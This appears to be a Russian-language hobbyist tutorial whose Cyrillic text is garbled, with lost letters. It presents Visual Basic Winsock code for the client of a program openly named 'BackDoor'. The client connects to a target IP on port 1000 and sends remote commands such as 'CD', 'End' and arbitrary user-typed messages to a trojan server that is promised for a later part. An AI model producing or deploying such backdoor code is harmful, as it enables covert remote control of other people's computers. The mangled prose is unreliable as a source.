 aoo  ac aepoe oa opoc o ooy coa pe a Visual Basic.   opoye coa ca poco BackDoor.
BackDoor oa caa pacocpaea coco  2 ace cepepo  eco. Caaa ae 
ecy ac. Coaa o poe  e ay o Winsock Control eae o a  Ctrl+T  y e ae ooo
e oe oo cx a... Hy opoe  cca pae microsoft winsock control 6.0 SP6. Ha opy ae 1 ecooe oe 5 oax oo Private Sub Command1_Click() 
Winsock1.RemoteHost = Text1.Text ' caaae IP ca  ecooe oe 
Winsock1.RemotePort = 1000 ' caaae op 
Winsock1.Connect ' Coeeec 
End Sub 
  
Private Sub Command2_Click() 
Winsock1.Close ' Oaec 
End Sub
  
Private Sub Command3_Click() 
On Error Resume Next ' Ec pocxo oa(e coee, a  aa a oy) o poycae cey cpoy 
Winsock1.SendData "CD" ' ocae cepepy oay CD 
Bla ' Bae y Bla 
End Sub
  
Function Bla() ' a y ye opaaa o 
If Err.Number = 40006 Then MsgBox "C c cepepo e ycaoea", 48, "T e pa IP e" ' ec ec pocxo oa 40006(e coee), o ae cooee o o 
End Function
  
' ae oc e yy( a ce oo) 
Private Sub Command4_Click() 
Dim S As String
S = InputBox("Be ec", "** aepa") 
On Error Resume Next
Winsock1.SendData S 
Bla 
End Sub
  
Private Sub Command5_Click() 
On Error Resume Next
Winsock1.SendData "End"
Bla 
End Sub
  
Private Sub Form_Load() 
Text1.Text = "127.0.0.1"
End Sub
y yce eca ac ooa, o cepepy co e oy p epa  a apac. pooee  ceye oepe  oa ooxec ay :)